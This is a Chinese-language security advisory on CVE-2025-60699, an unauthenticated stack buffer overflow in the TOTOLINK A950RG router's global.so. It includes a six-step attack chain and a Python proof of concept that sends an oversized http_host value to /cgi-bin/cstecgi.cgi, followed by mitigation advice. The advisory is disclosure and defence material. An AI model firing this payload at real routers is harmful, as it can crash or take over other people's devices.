IPBUF安全漏洞报告
English
CVE-2025-60699 CVSS 6.5 中危

CVE-2025-60699 TOTOLINK A950RG路由器global.so缓冲区溢出漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-60699
漏洞类型
缓冲区溢出
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TOTOLINK A950RG Router

相关标签

缓冲区溢出CVE-2025-60699TOTOLINKA950RG路由器漏洞固件漏洞远程代码执行strcpyweb漏洞IoT安全

漏洞概述

CVE-2025-60699是TOTOLINK A950RG路由器固件V5.9c.4592_B20191022_ALL中存在的一个高危安全漏洞。该漏洞位于global.so二进制文件中的getSaveConfig函数,由于对用户输入的http_host参数缺乏长度验证,直接使用不安全的strcpy()函数将用户可控数据复制到固定大小的栈缓冲区中,从而引发典型的栈缓冲区溢出问题。攻击者无需任何认证即可利用此漏洞,通过向路由器Web管理界面发送精心构造的恶意HTTP请求,即可触发缓冲区溢出条件。在特定利用场景下,攻击者可能实现任意代码执行,进而完全控制受影响设备。由于该路由器通常部署于家庭和小型办公网络环境,此漏洞的大规模利用可能造成严重的安全风险,包括但不限于网络监听、数据窃取、僵尸网络构建等恶意活动。建议受影响的用户尽快采取防护措施。

技术细节

漏洞根源在于TOTOLINK A950RG路由器固件中的global.so模块内的getSaveConfig函数。该函数通过websGetVar接口获取名为http_host的用户输入参数,随后使用C标准库函数strcpy()将该参数值直接复制到栈上的固定大小缓冲区v13中。由于strcpy()函数本身不执行任何边界检查,且代码中缺少对输入字符串长度的验证机制,当攻击者提交超长字符串时,将导致栈缓冲区溢出。溢出的数据会覆盖相邻的栈内存区域,包括函数返回地址、保存的基址指针等关键数据结构。在启用了栈保护机制的现代系统上,这可能导致程序崩溃(拒绝服务);在未启用栈保护或存在可利用的gadget的情况下,攻击者可以通过覆盖返回地址将执行流重定向到精心布局的shellcode,从而在路由器上以特权进程权限执行任意命令。整个攻击过程仅需构造一个HTTP POST请求即可完成,无需任何认证凭证。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标为TOTOLINK A950RG路由器,确认其运行固件版本V5.9c.4592_B20191022_ALL
STEP 2
步骤2: 构造恶意请求
攻击者构造包含超长字符串的HTTP POST请求,将http_host参数值设置为超过缓冲区大小的填充数据
STEP 3
步骤3: 发送漏洞利用载荷
通过路由器Web管理界面的/cgi-bin/cstecgi.cgi接口发送恶意请求,无需任何认证
STEP 4
步骤4: 触发缓冲区溢出
getSaveConfig函数接收到超长http_host参数后,strcpy()函数将其复制到固定大小栈缓冲区v13中,导致栈溢出
STEP 5
步骤5: 覆盖返回地址
溢出的数据覆盖栈上的函数返回地址和保存的寄存器值,为后续代码执行创造条件
STEP 6
步骤6: 执行任意代码
在可利用的情况下,攻击者通过ROP链或shellcode在路由器上以root权限执行任意命令

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-60699 PoC - TOTOLINK A950RG Buffer Overflow in global.so This PoC demonstrates the buffer overflow vulnerability in the getSaveConfig function by sending an oversized http_host parameter to trigger the overflow condition. Note: This is for educational and authorized security testing purposes only. """ import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.10.1" target_port = 80 # Generate oversized payload to trigger buffer overflow # The exact buffer size may vary; 1024 bytes should exceed typical buffer limits buffer_size = 1024 overflow_payload = "A" * buffer_size url = f"http://{target_ip}:{target_port}/cgi-bin/cstecgi.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # The vulnerable parameter is 'http_host' in the getSaveConfig function data = { "topicurl": "saveConfig", "http_host": overflow_payload } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(overflow_payload)} bytes") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

影响范围

TOTOLINK A950RG Router Firmware V5.9c.4592_B20191022_ALL

防御指南

临时缓解措施
立即限制路由器的Web管理界面仅允许受信任的IP地址访问;如非必要,关闭路由器的远程管理功能;监控网络流量中的异常大型POST请求;考虑更换已停止安全支持的旧型号路由器;在边界防火墙上阻断对路由器管理端口的未授权访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表